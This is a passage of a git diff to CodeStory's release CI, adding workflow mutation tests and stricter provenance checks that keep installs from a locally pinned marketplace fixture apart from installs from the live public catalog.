draftStep(publishJob(workflows), "Point the catalog at the published release"); + step.run = step.run.replace('--commit "$GITHUB_SHA"', "--commit HEAD"); + }, /release\.yml step Point the catalog at the published release must run --commit "\$GITHUB_SHA"/u], + ["catalog push stops reporting the revision it landed", workflows => { + const step = draftStep(publishJob(workflows), "Point the catalog at the published release"); + step.run = step.run.replace('--github-output "$GITHUB_OUTPUT"', "--quiet"); + }, /release\.yml step Point the catalog at the published release must run --github-output/u], + ["plugin lane catalog push stops pushing anything", workflows => { + draftStep(pluginPublishJob(workflows), "Point the catalog at the published release").run + = 'echo "catalog untouched"'; + }, /plugin-release\.yml step Point the catalog at the published release must run publish-marketplace-catalog\.mjs/u], + + // --- The gate coming back under a different spelling --- + // `.result` was the only spelling forbidden, so the identical hard gate written as an output + // comparison passed. Both lanes, and the closeout that reaches the catalog through the smoke. + ["smoke gates on the catalog output instead of the job result", workflows => { + smokeCall(workflows).if + = "always() && inputs.publish_release && needs.preflight.result == 'success'" + + " && needs.publish.result == 'success'" + + " && needs.marketplace-publish.outputs.catalog_published == 'true'"; + }, /must not gate on marketplace-publish in any form/u], + ["smoke gates on the catalog revision being present", workflows => { + smokeCall(workflows).if + = "always() && inputs.publish_release && needs.preflight.result == 'success'" + + " && needs.publish.result == 'success'" + + " && needs.marketplace-publish.outputs.marketplace_revision != ''"; + }, /must not gate on marketplace-publish in any form/u], + ["plugin lane smoke gates on the catalog output instead of the job result", workflows => { + pluginSmokeJob(workflows).if + = "always() && needs.preflight.result == 'success' && needs.publish.result == 'success'" + + " && needs.marketplace-publish.outputs.catalog_published == 'true'"; + }, /plugin-release\.yml post-publish smoke must require a successful publish without gating on marketplace-publish in any form/u], + ["post-publish closeout gates on the catalog output instead of the job result", workflows => { + workflows.get(releaseFile).jobs["post-publish-closeout"].if + = "inputs.publish_release && needs.marketplace-publish.outputs.catalog_published == 'true'"; + }, /post-publish closeout must not gate on marketplace-publish succeeding/u], + + // --- A revision test that measures length instead of immutability --- + ["delivery state accepts any forty characters as a revision", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40`, + ); + }, /must run printf '%s' "\$marketplace_revision" \| grep -Eq/u], + ["plugin lane delivery state accepts any forty characters as a revision", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40`, + ); + }, /must run printf '%s' "\$marketplace_revision" \| grep -Eq/u], + ["install step accepts any forty characters as a revision", workflows => { + const step = draftStep(smokeJob(workflows), "Resolve the published plugin through the marketplace catalog"); + step.run = step.run.replace( + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40`, + ); + }, /must run printf '%s' "\$marketplace_revision" \| grep -Eq/u], + ["release preflight accepts any forty characters as a live revision", workflows => { + const step = draftStep( + workflows.get(releaseFile).jobs.preflight, + "Prove the public marketplace install path", + ); + step.run = step.run.replace( + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + `test "$(printf '%s' "$marketplace_revision" | wc -c | tr -d ' ')" = 40`, + ); + }, /must run printf '%s' "\$marketplace_revision" \| grep -Eq/u], + + // --- The smoke verifying its own workspace against itself --- + ["smoke stops checking out the published tag", workflows => { + const checkout = smokeJob(workflows).steps + .find(step => String(step.uses ?? "").startsWith("actions/checkout@")); + delete checkout.with; + }, /post-publish-release-smoke\.yml post-publish smoke must check out the published release tag/u], + ["plugin lane smoke stops checking out the published tag", workflows => { + const checkout = pluginSmokeJob(workflows).steps + .find(step => String(step.uses ?? "").startsWith("actions/checkout@")); + delete checkout.with; + }, /plugin-release\.yml post-publish smoke must check out the published release tag/u], + ["plugin lane smoke checks out its own head instead of the tag", workflows => { + const checkout = pluginSmokeJob(workflows).steps + .find(step => String(step.uses ?? "").startsWith("actions/checkout@")); + checkout.with = { ref: "${{ github.sha }}", "fetch-depth": 0 }; + }, /plugin-release\.yml post-publish smoke must check out the published release tag/u], + ["smoke stops making GitHub confirm the release is published", workflows => { + const job = smokeJob(workflows); + job.steps = job.steps.filter(({ name }) => name !== "Bind this smoke to the published release"); + }, /post-publish-release-smoke\.yml must contain named step Bind this smoke to the published release/u], + ["plugin lane smoke stops making GitHub confirm the release is published", workflows => { + const job = pluginSmokeJob(workflows); + job.steps = job.steps.filter(({ name }) => name !== "Bind this smoke to the published release"); + }, /plugin-release\.yml must contain named step Bind this smoke to the published release/u], + ["published binding stops comparing GitHub's commit with the checked-out tree", workflows => { + const step = draftStep(smokeJob(workflows), "Bind this smoke to the published release"); + step.run = step.run.replace( + 'if [ "$published_commit" != "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" ]; then', + "if false; then", + ); + }, /must run if \[ "\$published_commit" != "\$\(git -C "\$GITHUB_WORKSPACE" rev-parse HEAD\)" \]; then/u], + ["published binding accepts a draft release", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Bind this smoke to the published release"); + step.run = step.run.replace('gh release view "$TAG"', 'gh release list "$TAG"'); + }, /plugin-release\.yml step Bind this smoke to the published release must run gh release view/u], + ["deferred fixture is pinned to the run's own head again", workflows => { + const step = draftStep(smokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + '--commit "$published_commit"', + '--commit "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)"', + ); + }, /must run --commit "\$published_commit"/u], + ["plugin lane deferred fixture is pinned to the run's own head again", workflows => { + const step = draftStep(pluginSmokeJob(workflows), "Record catalog delivery state"); + step.run = step.run.replace( + '--commit "$published_commit"', + '--commit "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)"', + ); + }, /must run --commit "\$published_commit"/u], + ["delivery state stops reading the published commit binding", workflows => { + delete draftStep(smokeJob(workflows), "Record catalog delivery state").env.PUBLISHED_COMMIT; + }, /must pin the commit resolved from the published release/u], + ["plugin lane delivery state stops reading the published commit binding", workflows => { + delete draftStep(pluginSmokeJob(workflows), "Record catalog delivery state").env.PUBLISHED_COMMIT; + }, /plugin-release\.yml catalog delivery state must pin the commit resolved from the published release/u], ]; for (const [name, mutate, expectedReason] of mutations) { diff --git a/.github/scripts/install-codestory-marketplace-proof.mjs b/.github/scripts/install-codestory-marketplace-proof.mjs index 9da151024..95b5b4bd6 100644 --- a/.github/scripts/install-codestory-marketplace-proof.mjs +++ b/.github/scripts/install-codestory-marketplace-proof.mjs @@ -15,6 +15,13 @@ import process from "node:process"; import { spawnSync } from "node:child_process"; import { pathToFileURL } from "node:url"; +import { + DEFERRED_INSTALLATION_SOURCE, + DEFERRED_MARKETPLACE_REPOSITORY, + LIVE_INSTALLATION_SOURCE, + LIVE_MARKETPLACE_REPOSITORY, +} from "./marketplace-delivery-identity.mjs"; + function fail(message) { throw new Error(message); } @@ -131,6 +138,29 @@ function marketplaceRevisionAt(root) { function prepareInstallation(rawArgs) { const args = parseArgs(rawArgs); + + // Which delivery state this install attests is decided first, before anything is touched. An + // unset or misspelled `--local-fixture` used to mean "live" by falling through a `!== "true"` + // comparison -- exactly the shape that lets a fixture resolve be attested as a public-catalog + // install. + const localFixtureRaw = args.local_fixture; + if (localFixtureRaw !== "true" && localFixtureRaw !== "false") { + fail(`--local-fixture must be true or false, not ${JSON.stringify(localFixtureRaw ?? null)}`); + } + const localFixture = localFixtureRaw === "true"; + const installationSource = localFixture + ? DEFERRED_INSTALLATION_SOURCE + : LIVE_INSTALLATION_SOURCE; + const marketplaceSource = required(args, "marketplace_source"); + if (!localFixture && marketplaceSource !== LIVE_MARKETPLACE_REPOSITORY) { + fail( + `a live marketplace install must resolve ${LIVE_MARKETPLACE_REPOSITORY}, not ${marketplaceSource}`, + ); + } + const marketplaceRepository = localFixture + ? DEFERRED_MARKETPLACE_REPOSITORY + : marketplaceSource; + const codexPackageRoot = path.resolve(required(args, "codex_package_root")); const codexExecutable = path.join( codexPackageRoot, @@ -148,7 +178,6 @@ function prepareInstallation(rawArgs) { const pluginData = realpathSync(pluginDataInput); containedPath(codexHome, pluginData, "plugin data"); - const marketplaceSource = required(args, "marketplace_source"); const marketplaceName = required(args, "marketplace_name"); const marketplaceRevision = required(args, "marketplace_revision"); if (!/^[0-9a-f]{40}$/u.test(marketplaceRevision)) { @@ -168,7 +197,10 @@ function prepareInstallation(rawArgs) { codexExecutable, codexHome, pluginData, + localFixture, + installationSource, marketplaceSource, + marketplaceRepository, marketplaceName, marketplaceRevision, expectedVersion, @@ -183,7 +215,7 @@ function installMarketplace(setup) { const codex = (...command) => run(setup.codexExecutable, command, { env }); const codexVersion = codex("--version"); const addArguments = ["plugin", "marketplace", "add", setup.marketplaceSource]; - if (setup.args.local_fixture !== "true") { + if (!setup.localFixture) { addArguments.push("--ref", setup.marketplaceRevision); } addArguments.push("--json"); @@ -227,7 +259,7 @@ function verifyInstallation(setup, installed) { const installedPlugins = installed.pluginList.installed; const availablePlugins = installed.pluginList.available; const pluginListEntry = installedPlugins?.[0]; - const expectedSourceUrl = setup.args.local_fixture === "true" + const expectedSourceUrl = setup.localFixture ? undefined : "https://github.com/TheGreenCedar/CodeStory.git"; if ( @@ -316,7 +348,7 @@ function verifyInstallation(setup, installed) { function attestInstallation(setup, installed, verified) { const attestation = { schema_version: 2, - installation_source: "codex_marketplace_install", + installation_source: setup.installationSource, installation: { codex_home: setup.codexHome, plugin_root: verified.pluginRoot, @@ -330,7 +362,7 @@ function attestInstallation(setup, installed, verified) { package_sha256: verified.packageSha256, }, marketplace: { - repository: setup.marketplaceSource, + repository: setup.marketplaceRepository, revision: setup.marketplaceRevision, provenance: { add: { diff --git a/.github/scripts/install-codestory-marketplace-proof.test.mjs b/.github/scripts/install-codestory-marketplace-proof.test.mjs index 11058b319..e9173c2ea 100644 --- a/.github/scripts/install-codestory-marketplace-proof.test.mjs +++ b/.github/scripts/install-codestory-marketplace-proof.test.mjs @@ -193,6 +193,16 @@ test("pinned Codex installs a local marketplace fixture into the attested cache" pluginManifest.version, ); assert.equal(attestation.schema_version, 2); + // A fixture resolve is a distinct delivery state end to end: it gets its own installer + // identity and its own attestation repository, and the Python predicate routes on exactly + // this value. Writing `codex_marketplace_install` here -- as the first version did -- made + // the live predicate refuse the release three steps after the tag was already pushed. + assert.equal(attestation.installation_source, "codex_marketplace_deferred_fixture"); + assert.equal( + attestation.marketplace.repository, + "local:candidate-pinned-marketplace-fixture", + ); + assert.notEqual(attestation.marketplace.repository, marketplaceRoot); assert.equal(attestation.marketplace.codex_cli_version, `codex-cli ${codexVersion}`); assert.equal(attestation.marketplace.revision, marketplaceRevision); assert.equal( @@ -284,3 +294,42 @@ test("pinned Codex installs a local marketplace fixture into the attested cache" rmSync(root, { recursive: true, force: true }); } }); + +// `--local-fixture` decides which of two delivery states the attestation claims, so it may not be +// decided by falling through a comparison. It used to be read as `!== "true"`, which made an unset +// or misspelled value silently mean "the live public catalog served this release". +test("the delivery state must be stated explicitly, never defaulted", () => { + const root = mkdtempSync(path.join(tmpdir(), "codestory-marketplace-flag-")); + try { + const base = proofArgs({ + packageRoot: path.join(root, "codex-package"), + proofRoot: root, + marketplaceRoot: path.join(root, "marketplace"), + marketplaceRevision: "a".repeat(40), + expectedVersion: "0.0.0", + sourceRepository: repositoryRoot, + }); + const withFlag = (value) => { + const args = [...base]; + const index = args.indexOf("--local-fixture"); + if (value === null) args.splice(index, 2); + else args[index + 1] = value; + return args; + }; + for (const value of [null, "", "TRUE", "1", "yes", "tru"]) { + assertFailedProof(withFlag(value), /--local-fixture must be true or false/u); + } + + // The live state may only ever name the real catalog repository. A fixture path arriving + // here with `--local-fixture false` would attest a public-catalog install of a local + // directory. + const live = withFlag("false"); + live[live.indexOf("--marketplace-source") + 1] = path.join(root, "marketplace"); + assertFailedProof( + live, + /a live marketplace install must resolve TheGreenCedar\/AgentPluginMarketplace/u, + ); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); diff --git a/.github/scripts/marketplace-delivery-identity.mjs b/.github/scripts/marketplace-delivery-identity.mjs new file mode 100644 index 000000000..188af094e --- /dev/null +++ b/.github/scripts/marketplace-delivery-identity.mjs @@ -0,0 +1,30 @@ +// The two catalog delivery states, named once. +// +// Catalog publication is delivery, not a release gate, so a release can be proved against +// either the live public catalog or a catalog pinned to the exact published commit. Those are +// DISTINCT states, and the whole risk in allowing the second one is that it quietly reads as +// the first. So neither state is an absence: each has its own installer identity, its own +// attestation repository name, and its own accepted shape in the Python predicate, and the +// three names live here so the producer and the verifier cannot drift apart. +// +// `.github/scripts/packaged_agent_proof/marketplace_installation.py` holds the Python side of +// the same contract; `install-codestory-marketplace-proof.test.mjs` asserts the two agree. + +/** Installer identity for a resolve through the live public catalog. */ +export const LIVE_INSTALLATION_SOURCE = "codex_marketplace_install"; +/** Installer identity for a resolve through a catalog pinned to the published commit. */ +export const DEFERRED_INSTALLATION_SOURCE = "codex_marketplace_deferred_fixture"; + +/** `marketplace.repository` for the live state: the real catalog repository. */ +export const LIVE_MARKETPLACE_REPOSITORY = "TheGreenCedar/AgentPluginMarketplace"; +/** + * `marketplace.repository` for the deferred state. Deliberately not a filesystem path: the + * path is a per-run temporary directory, and writing it here made the attestation claim a + * "repository" that no one can resolve. This name is stable, is not a repository, and cannot + * be mistaken for one. + */ +export const DEFERRED_MARKETPLACE_REPOSITORY = "local:candidate-pinned-marketplace-fixture"; + +/** Marker file the fixture builder writes so a fixture can identify itself to the verifier. */ +export const FIXTURE_MARKER_FILENAME = ".codestory-marketplace-fixture.json"; +export const FIXTURE_MARKER_PURPOSE = "codestory-candidate-pinned-marketplace-fixture"; diff --git a/.github/scripts/packaged_agent_proof/installed_identity.py b/.github/scripts/packaged_agent_proof/installed_identity.py index 14095885f..a338fec77 100644 --- a/.github/scripts/packaged_agent_proof/installed_identity.py +++ b/.github/scripts/packaged_agent_proof/installed_identity.py @@ -10,7 +10,10 @@ from .contract_primitives import require_exact_keys, sha256 from .foundation import REPOSITORY_ROOT, ProofFailure, require from .installation_support import directory_contract_sha256, same_existing_path -from .marketplace_installation import marketplace_installed_plugin_identity +from .marketplace_installation import ( + delivery_state, + marketplace_installed_plugin_identity, +) def _reject_source_checkout(plugin_root: Path) -> None: @@ -157,9 +160,15 @@ def installed_plugin_identity( ) _reject_source_checkout(plugin_root) attestation = _load_attestation(args.installed_plugin_attestation) - if attestation.get("installation_source") == "codex_marketplace_install": + # Each installer identity routes to exactly one accepted shape. A live public-catalog + # install and a deferred candidate-pinned fixture are different states of the world, so + # neither can be verified by the other's predicate -- the live check is not relaxed to + # admit a fixture, and the deferred check cannot mint the live repository name. + state = delivery_state(attestation.get("installation_source")) + if state is not None: return marketplace_installed_plugin_identity( attestation, + state, args.installed_plugin_data, plugin_root, manifest, diff --git a/.github/scripts/packaged_agent_proof/marketplace_installation.py b/.github/scripts/packaged_agent_proof/marketplace_installation.py index e6ead8311..469041139 100644 --- a/.github/scripts/packaged_agent_proof/marketplace_installation.py +++ b/.github/scripts/packaged_agent_proof/marketplace_installation.py @@ -1,10 +1,33 @@ -"""Marketplace checkout and installed-plugin provenance.""" +"""Marketplace checkout and installed-plugin provenance. + +Two delivery states resolve a released plugin through a Codex marketplace, and this module +accepts exactly two correspondingly distinct shapes: + +* ``codex_marketplace_install`` -- the live public catalog. The resolver clones + ``TheGreenCedar/AgentPluginMarketplace`` over Git into the isolated Codex home at a pinned + ``ref``, so the checkout is remote-backed and carries that URL as its ``origin``. +* ``codex_marketplace_deferred_fixture`` -- a catalog built by + ``.github/scripts/build-marketplace-fixture.mjs`` and pinned to the exact published commit, + used when catalog publication was deferred. The resolver reads it as a *local* source: the + marketplace root IS the fixture directory, the config records ``source_type = "local"`` with + no ``ref``, and the repository has no ``origin`` remote at all. + +Those are observed facts, not guesses: running the real pinned Codex CLI against a real fixture +produces ``sourceType: "local"`` and a marketplace root outside the Codex home, which is why the +live shape cannot describe a deferred install and must not be relaxed to try. + +Nothing about the *plugin* differs between the states. The pinned ``git-subdir`` source, the +plugin add/list identity, the installed bytes, and the binding to the packaged release source are +verified identically, because the deferred state is a statement about which catalog served the +install -- never a statement that less was proved. +""" from __future__ import annotations import json import re import subprocess +from dataclasses import dataclass from pathlib import Path import tomllib @@ -18,6 +41,49 @@ _MARKETPLACE_URL = f"https://github.com/{_MARKETPLACE_REPOSITORY}.git" _PLUGIN_ID = f"codestory@{_MARKETPLACE_NAME}" +LIVE_INSTALLATION_SOURCE = "codex_marketplace_install" +DEFERRED_INSTALLATION_SOURCE = "codex_marketplace_deferred_fixture" +# Mirrors DEFERRED_MARKETPLACE_REPOSITORY in +# .github/scripts/marketplace-delivery-identity.mjs. Deliberately not a filesystem path and +# deliberately not shaped like "owner/repo": it can never be confused with the live catalog. +_DEFERRED_MARKETPLACE_REPOSITORY = "local:candidate-pinned-marketplace-fixture" +_FIXTURE_MARKER_FILENAME = ".codestory-marketplace-fixture.json" +_FIXTURE_MARKER_PURPOSE = "codestory-candidate-pinned-marketplace-fixture" + + +@dataclass(frozen=True) +class _DeliveryState: + """The parts of the accepted shape that differ between the two catalog states.""" + + installation_source: str + repository: str + source_type: str + #: ``True`` when the resolver clones the catalog into the isolated Codex home. + checkout_inside_codex_home: bool + + +_LIVE = _DeliveryState( + installation_source=LIVE_INSTALLATION_SOURCE, + repository=_MARKETPLACE_REPOSITORY, + source_type="git", + checkout_inside_codex_home=True, +) +_DEFERRED = _DeliveryState( + installation_source=DEFERRED_INSTALLATION_SOURCE, + repository=_DEFERRED_MARKETPLACE_REPOSITORY, + source_type="local", + checkout_inside_codex_home=False, +) + +_DELIVERY_STATES = {state.installation_source: state for state in (_LIVE, _DEFERRED)} + + +def delivery_state(installation_source: object) -> _DeliveryState | None: + """The accepted shape for an installer identity, or ``None`` if it names no marketplace.""" + if not isinstance(installation_source, str): + return None + return _DELIVERY_STATES.get(installation_source) + def _git_output(repository: Path, *arguments: str) -> str: completed = subprocess.run( @@ -33,6 +99,29 @@ def _git_output(repository: Path, *arguments: str) -> str: return completed.stdout.strip() +def _git_origin_url(repository: Path) -> str | None: + """The checkout's ``origin`` URL, or ``None`` when it deliberately has no remote. + + A candidate-pinned fixture is built locally and never fetched from anywhere, so + ``git remote get-url origin`` exits non-zero by design. Treating that as a probe failure + made the deferred state unprovable; the deferred shape asserts the absence positively + instead, and the live shape still demands the exact marketplace URL. + """ + completed = subprocess.run( + ["git", "-C", str(repository), "remote", "get-url", "origin"], + text=True, + capture_output=True, + timeout=30, + ) + if completed.returncode != 0: + require( + "No such remote" in completed.stderr, + f"Git identity probe failed: {completed.stderr.strip()}", + ) + return None + return completed.stdout.strip() + + def _marketplace_source(source_sha: str) -> dict[str, str]: return { "source": "git-subdir", @@ -42,8 +131,16 @@ def _marketplace_source(source_sha: str) -> dict[str, str]: } +def _marketplace_origin(state: _DeliveryState, marketplace_root: Path) -> dict[str, str]: + return { + "sourceType": state.source_type, + "source": _MARKETPLACE_URL if state is _LIVE else str(marketplace_root), + } + + def _validate_attestation_paths( attestation: dict, + state: _DeliveryState, installed_plugin_data: Path, plugin_root: Path, manifest: dict, @@ -83,7 +180,7 @@ def _validate_attestation_paths( ) require( attestation["schema_version"] == 2 - and attestation["installation_source"] == "codex_marketplace_install" + and attestation["installation_source"] == state.installation_source and codex_home.is_dir() and same_existing_path(Path(installation["plugin_root"]), plugin_root) and same_existing_path(Path(installation["plugin_data"]), installed_plugin_data) @@ -96,6 +193,7 @@ def _validate_attestation_paths( def _validate_marketplace_results( marketplace: dict, + state: _DeliveryState, codex_home: Path, plugin_root: Path, manifest: dict, @@ -117,7 +215,7 @@ def _validate_marketplace_results( revision = marketplace["revision"] marketplace_add = marketplace["add_result"] require( - marketplace["repository"] == _MARKETPLACE_REPOSITORY + marketplace["repository"] == state.repository and marketplace["codex_cli_version"] == f"codex-cli {PINNED_CODEX_CLI_VERSION}" and isinstance(revision, str) and re.fullmatch(r"[0-9a-f]{40}", revision) is not None @@ -132,19 +230,35 @@ def _validate_marketplace_results( "Codex marketplace add result omitted installedRoot", ) marketplace_root = Path(marketplace_root_raw).resolve() - expected_root = codex_home / ".tmp" / "marketplaces" / _MARKETPLACE_NAME - require( - marketplace_root.is_dir() - and marketplace_root.is_relative_to(codex_home) - and same_existing_path(marketplace_root, expected_root), - "Codex marketplace root is outside its isolated home", + if state.checkout_inside_codex_home: + expected_root = codex_home / ".tmp" / "marketplaces" / _MARKETPLACE_NAME + require( + marketplace_root.is_dir() + and marketplace_root.is_relative_to(codex_home) + and same_existing_path(marketplace_root, expected_root), + "Codex marketplace root is outside its isolated home", + ) + else: + # A local catalog is read where it was built, so it cannot be required to live inside + # the Codex home. What it must not be is the CodeStory checkout itself: a catalog that + # is the tree under test would make the resolve prove nothing. + require( + marketplace_root.is_dir() + and not marketplace_root.is_relative_to(codex_home) + and not marketplace_root.is_relative_to(REPOSITORY_ROOT) + and not REPOSITORY_ROOT.is_relative_to(marketplace_root), + "candidate-pinned marketplace fixture is the release checkout or the Codex home", + ) + _validate_marketplace_list(marketplace, state, marketplace_root) + plugin_source_sha = _validate_plugin_results( + marketplace, state, marketplace_root, plugin_root, manifest ) - _validate_marketplace_list(marketplace, marketplace_root) - plugin_source_sha = _validate_plugin_results(marketplace, plugin_root, manifest) return marketplace_root, plugin_source_sha -def _validate_marketplace_list(marketplace: dict, marketplace_root: Path) -> None: +def _validate_marketplace_list( + marketplace: dict, state: _DeliveryState, marketplace_root: Path +) -> None: provenance = marketplace["provenance"] require_exact_keys(provenance, {"add", "list"}, "marketplace provenance") for operation in ("add", "list"): @@ -165,19 +279,18 @@ def _validate_marketplace_list(marketplace: dict, marketplace_root: Path) -> Non { "name": _MARKETPLACE_NAME, "root": str(marketplace_root), - "marketplaceSource": { - "sourceType": "git", - "source": _MARKETPLACE_URL, - }, + "marketplaceSource": _marketplace_origin(state, marketplace_root), } ] }, - "Codex marketplace list does not match the configured Git snapshot", + "Codex marketplace list does not match the configured snapshot", ) def _validate_plugin_results( marketplace: dict, + state: _DeliveryState, + marketplace_root: Path, plugin_root: Path, manifest: dict, ) -> str: @@ -215,10 +328,7 @@ def _validate_plugin_results( "installed": True, "enabled": True, "source": _marketplace_source(source_sha), - "marketplaceSource": { - "sourceType": "git", - "source": _MARKETPLACE_URL, - }, + "marketplaceSource": _marketplace_origin(state, marketplace_root), "installPolicy": "AVAILABLE", "authPolicy": "ON_INSTALL", } @@ -230,29 +340,78 @@ def _validate_plugin_results( return source_sha +def _validate_fixture_identity( + marketplace_root: Path, plugin_source_sha: str, manifest: dict +) -> None: + """A deferred install must resolve a fixture that says what it is, in its own bytes. + + Without this, any local git directory carrying a plausible catalog would satisfy the + deferred shape. The marker is written by build-marketplace-fixture.mjs and names the commit + the catalog pins, so the fixture, the catalog, and the released source all have to agree. + """ + marker_path = marketplace_root / _FIXTURE_MARKER_FILENAME + require( + marker_path.is_file(), + "deferred catalog resolve did not use a candidate-pinned marketplace fixture", + ) + marker = json.loads(marker_path.read_text(encoding="utf-8")) + require_exact_keys( + marker, + {"schema_version", "purpose", "pinned_commit", "plugin_version"}, + "marketplace fixture marker", + ) + require( + marker["schema_version"] == 1 + and marker["purpose"] == _FIXTURE_MARKER_PURPOSE + and marker["pinned_commit"] == plugin_source_sha + and marker["pinned_commit"] == manifest["source"]["commit"] + and marker["plugin_version"] == manifest["release_version"], + "marketplace fixture does not pin the exact released commit it served", + ) + + def _validate_marketplace_checkout( codex_home: Path, + state: _DeliveryState, marketplace_root: Path, marketplace: dict, plugin_source_sha: str, + manifest: dict, ) -> str: config = tomllib.loads((codex_home / "config.toml").read_text(encoding="utf-8")) marketplace_config = config.get("marketplaces", {}).get(_MARKETPLACE_NAME) plugin_config = config.get("plugins", {}).get(_PLUGIN_ID) require( isinstance(marketplace_config, dict) - and marketplace_config.get("source_type") == "git" - and marketplace_config.get("source") == _MARKETPLACE_URL - and marketplace_config.get("ref") == marketplace["revision"] + and marketplace_config.get("source_type") == state.source_type + and marketplace_config.get("source") + == _marketplace_origin(state, marketplace_root)["source"] and plugin_config == {"enabled": True}, - "isolated Codex config does not pin the immutable marketplace revision", + "isolated Codex config does not record the resolved marketplace source", ) + if state is _LIVE: + require( + marketplace_config.get("ref") == marketplace["revision"], + "isolated Codex config does not pin the immutable marketplace revision", + ) + else: + # A local source has no ref to pin. Recording one would be the deferred state claiming + # a live catalog revision, so its absence is asserted rather than merely unchecked. + require( + "ref" not in marketplace_config, + "deferred catalog config claims a live marketplace revision", + ) + # Checked before the Git probes, not after: the marker is committed into the fixture, so a + # missing or altered one also dirties the tree. Ordering it first means the failure names + # the actual defect instead of passing for an unrelated reason. + if state is _DEFERRED: + _validate_fixture_identity(marketplace_root, plugin_source_sha, manifest) marketplace_commit = _git_output(marketplace_root, "rev-parse", "HEAD") + origin = _git_origin_url(marketplace_root) require( marketplace_commit == marketplace["revision"] and _git_output(marketplace_root, "status", "--porcelain") == "" - and _git_output(marketplace_root, "remote", "get-url", "origin") - == _MARKETPLACE_URL, + and origin == (_MARKETPLACE_URL if state is _LIVE else None), "Codex marketplace checkout has invalid or mutable Git identity", ) catalog = json.loads( @@ -303,27 +462,32 @@ def _validate_release_source(plugin: dict, plugin_root: Path, manifest: dict) -> def marketplace_installed_plugin_identity( attestation: dict, + state: _DeliveryState, installed_plugin_data: Path, plugin_root: Path, manifest: dict, ) -> dict: codex_home, plugin, marketplace = _validate_attestation_paths( attestation, + state, installed_plugin_data, plugin_root, manifest, ) marketplace_root, plugin_source_sha = _validate_marketplace_results( marketplace, + state, codex_home, plugin_root, manifest, ) marketplace_commit = _validate_marketplace_checkout( codex_home, + state, marketplace_root, marketplace, plugin_source_sha, + manifest, ) require( plugin["source_commit"] == plugin_source_sha, @@ -332,9 +496,9 @@ def marketplace_installed_plugin_identity( package_sha256 = _validate_release_source(plugin, plugin_root, manifest) return { "schema_version": 2, - "installation_source": "codex_marketplace_install", + "installation_source": state.installation_source, "codex_cli_version": PINNED_CODEX_CLI_VERSION, - "marketplace_repository": _MARKETPLACE_REPOSITORY, + "marketplace_repository": state.repository, "marketplace_commit": marketplace_commit, "plugin_id": "codestory", "plugin_version": manifest["release_version"], diff --git a/.github/scripts/packaged_agent_proof/qualification_retained_provenance.py b/.github/scripts/packaged_agent_proof/qualification_retained_provenance.py index 1448d724c..525f93ab5 100644 --- a/.github/scripts/packaged_agent_proof/qualification_retained_provenance.py +++ b/.github/scripts/packaged_agent_proof/qualification_retained_provenance.py @@ -16,6 +16,7 @@ PINNED_CODEX_CLI_VERSION, require, ) +from .marketplace_installation import delivery_state from .native_manifest import runtime_executable_sha256 from .qualification_retained_types import ( RetainedPackageBinding, @@ -29,8 +30,13 @@ def _verify_marketplace_provenance( plugin: dict, runtime: dict, ) -> None: + # The two catalog delivery states carry different repository identities, and the retained + # evidence must name the one that matches its own installer identity. Accepting either name + # for either identity would let a deferred release's retained evidence read as a live one. + state = delivery_state(plugin.get("installation_source")) + require(state is not None, "installed evidence names no marketplace delivery state") require( - plugin.get("marketplace_repository") == "TheGreenCedar/AgentPluginMarketplace" + plugin.get("marketplace_repository") == state.repository and plugin.get("codex_cli_version") == PINNED_CODEX_CLI_VERSION and runtime.get("build_source") == "github_release" and runtime.get("repo_ref") == f"v{contract.manifest['release_version']}", @@ -87,15 +93,18 @@ def _verify_installed_provenance(contract: RetainedQualificationContract) -> Non installation_source = plugin.get("installation_source") require( plugin.get("schema_version") == 2 - and installation_source in {"codex_marketplace_install", "candidate_archive"} + and ( + installation_source == "candidate_archive" + or delivery_state(installation_source) is not None + ) and plugin.get("plugin_id") == "codestory" and plugin.get("plugin_version") == manifest["release_version"], "installed evidence has invalid plugin provenance", ) - if installation_source == "codex_marketplace_install": - _verify_marketplace_provenance(contract, plugin, runtime) - else: + if installation_source == "candidate_archive": _verify_candidate_provenance(contract, plugin, runtime) + else: + _verify_marketplace_provenance(contract, plugin, runtime) require_sha256( plugin.get("plugin_package_sha256"), "installed evidence plugin_package_sha256", diff --git a/.github/scripts/packaged_agent_proof/self_test.py b/.github/scripts/packaged_agent_proof/self_test.py index ae80128be..ad9f9bfd8 100644 --- a/.github/scripts/packaged_agent_proof/self_test.py +++ b/.github/scripts/packaged_agent_proof/self_test.py @@ -5,6 +5,7 @@ from .self_test_full_stack import run_full_stack_self_tests from .self_test_installation import run_installation_self_tests from .self_test_managed_layout import run_managed_layout_self_tests +from .self_test_marketplace_delivery import run_marketplace_delivery_self_tests from .self_test_process import run_process_self_tests from .self_test_producer_liveness import run_producer_liveness_self_tests from .self_test_qualification import run_qualification_self_tests @@ -19,6 +20,7 @@ def self_test() -> None: run_idle_boundary_self_tests() run_qualification_self_tests() run_installation_self_tests() + run_marketplace_delivery_self_tests() run_managed_layout_self_tests() run_full_stack_self_tests() print("packaged per-user embedding server proof self-test passed") diff --git a/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py b/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py new file mode 100644 index 000000000..7efa36d3e --- /dev/null +++ b/.github/scripts/packaged_agent_proof/self_test_marketplace_delivery.py @@ -0,0 +1,530 @@ +"""Catalog delivery state self-tests for the installed-runtime identity predicate. + +Catalog publication is delivery, not a release gate, so a release can be proved against the +live public catalog OR against a catalog pinned to the exact published commit. These are two +distinct states and the predicate accepts two distinct shapes. What must never happen is either +one passing as the other, or an arbitrary local directory passing as the pinned fixture -- so +every assertion here that matters 